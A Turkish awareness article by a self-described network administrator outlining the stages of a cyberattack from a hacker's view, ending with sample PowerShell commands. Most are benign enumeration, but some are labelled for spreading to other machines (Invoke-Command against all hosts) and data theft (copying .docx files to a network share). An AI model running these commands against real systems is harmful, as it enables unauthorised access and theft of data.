Hacker Gözünden Siber Güvenlik: Bir Saldırı Yol Haritası

Yasal Uyarı: Siber Saldırılar Suçtur
Bu yazıda yer alan bilgiler, siber güvenlik farkındalığını artırmak ve savunma stratejileri geliştirmek amacıyla paylaşılmaktadır. Herhangi bir şekilde siber saldırı düzenlemek, sistemlere yetkisiz erişim sağlamak, veri çalmak veya zarar vermek yasalarca suç teşkil eder ve ciddi cezai yaptırımlarla sonuçlanır. 5237 sayılı Türk Ceza Kanunu’nun 243 ve 244. maddeleri uyarınca, bilişim sistemlerine hukuka aykırı müdahalelerde bulunanlar hapis ve para cezasıyla karşı karşıya kalabilir. Siber güvenlik alanında yasal ve etik sınırlar içinde kalmak zorunludur.

Hacker Gözünden Siber Güvenlik: Bir Saldırı Yol Haritası

Bu yazı siber farkındalık oluşturmak amacıyla hazırlanmıştır. Siber güvenlik uzmanları için hacker gözünden siber saldırıların aşamalarını anlamak, savunma stratejilerini geliştirmek için kritik öneme sahiptir. Bir hacker’ın siber saldırı başlatmadan önce izleyebileceği tipik yol haritası, saldırının hedefi ve amacına göre değişebilir. Ancak genel olarak süreç şu adımları içerir:

1. Bilgi Toplama (Reconnaissance)

Hacker, hedefin zayıf noktalarını bulmak için bilgi toplama aşamasını gerçekleştirir. Bu adım aktif ve pasif olmak üzere iki şekilde yapılabilir.

Aktif Bilgi Toplama: Hedefle doğrudan etkileşim kurarak (örn. port tarama).
Pasif Bilgi Toplama: Hedefle doğrudan iletişim kurmadan, açık kaynaklardan (OSINT) bilgi toplama.
Hedef IP adresleri, alan adları, çalışan bilgileri, kullanılan teknolojiler gibi veriler toplanır.

2. Tarama (Scanning)

Bu aşamada hacker, hedef sistemin açıklarını tespit eder ve güvenlik açıklarını araştırır.

Port Tarama: Açık portlar ve hangi servislerin çalıştığını öğrenir.
Zafiyet Tarama: Bilinen güvenlik açıkları olan yazılım ve servisleri bulur.
Ağ Haritalama: Hedefin iç ağı hakkında bilgi edinir.

3. Sistem Giriş Noktalarının Analizi (Enumeration)

Hacker, tarama sonucu elde ettiği bilgilerle daha fazla veri toplamaya çalışır ve sistemle daha fazla etkileşime girer.

Hizmet Protokol Analizi: FTP, SSH gibi servislerde güvenlik açıkları incelenir.
Kullanıcı Hesapları: Zayıf parolalar veya açık kullanıcı hesapları araştırılır.

4. Sisteme Sızma (Exploitation)

Hacker, bulduğu güvenlik açıklarını kullanarak sisteme sızmaya çalışır.

Zafiyetin Kullanılması: Bulunan güvenlik açıklarına yönelik exploit’ler kullanılır.
Sosyal Mühendislik: Phishing gibi saldırılarla kimlik bilgileri çalınabilir.

5. Yetki Yükseltme (Privilege Escalation)

Hacker, sisteme giriş yaptıktan sonra daha geniş yetkilere ulaşmak için güvenlik açıklarını arar.

Yerel Yetki Yükseltme: Yönetici haklarına ulaşma.
Ağ İçi Yetki Yükseltme: İç ağda diğer sistemlere yayılma.

6. İzlerini Gizleme (Covering Tracks)

Hacker, saldırı sonrası fark edilmemek için izlerini silmeye çalışır.

Logları Silme: Sistem loglarını temizler.
Backdoor Yükleme: Sisteme tekrar erişim sağlamak için arka kapı bırakır.

7. Veri Çıkarma ve Yanal Hareket (Data Exfiltration & Lateral Movement)

Hacker, istediği verilere ulaştığında bunları dışarı çıkarır veya hedefin iç ağında diğer cihazlara yayılmaya çalışır.

Veri Çalma: Önemli veriler dışarı çıkarılır.
Yanal Hareket: Diğer cihazlara erişim sağlanır.

8. Saldırının Tamamlanması (Mission Complete)

Hacker, sistemden çıkarak ya saldırıyı tamamlar ya da sistemi kontrol altına alır. Bazı durumlarda fidye yazılımı yükleyerek sistemi sabote edebilir.

1. BİLGİ TOPLAMA
ipconfig
hostname
Get-Host
Get-ComputerInfo

1.1. Kullanıcı Bilgileri:
Get-LocalUser
Get-User

1.2 Ağ Bilgileri:
Get-NetAdapter
Test-Connection -ComputerName "google.com"

1.3. İşlemler Servisler:
Get-Process
Get-Service

1.4. Olay Kayıtları:
Get-WinEvent

1.5. Yönetici Hakları Elde Etme:
Get-LocalGroupMember Administrators

1.6. Diğer Cihazlara Yayılma:
Invoke-Command -ComputerName * -ScriptBlock {Get-Process}

1.7. Veri Çalma:
Copy-Item C:\SensitiveData\*.docx \\192.168.1.100\share

***Bu komutların uzaktan çalıştırılmasına yönelik evinizde veya kurumunuzda önlem almayı unutmayın.***

Arif Akyüz Sistem Network Yöneticisi ve Siber Güvenlik Uzmanı

Arif Akyüz
Bilgi Teknolojileri
Sistem Network Yöneticisi
ve Siber Güvenlik Uzmanı
[email protected]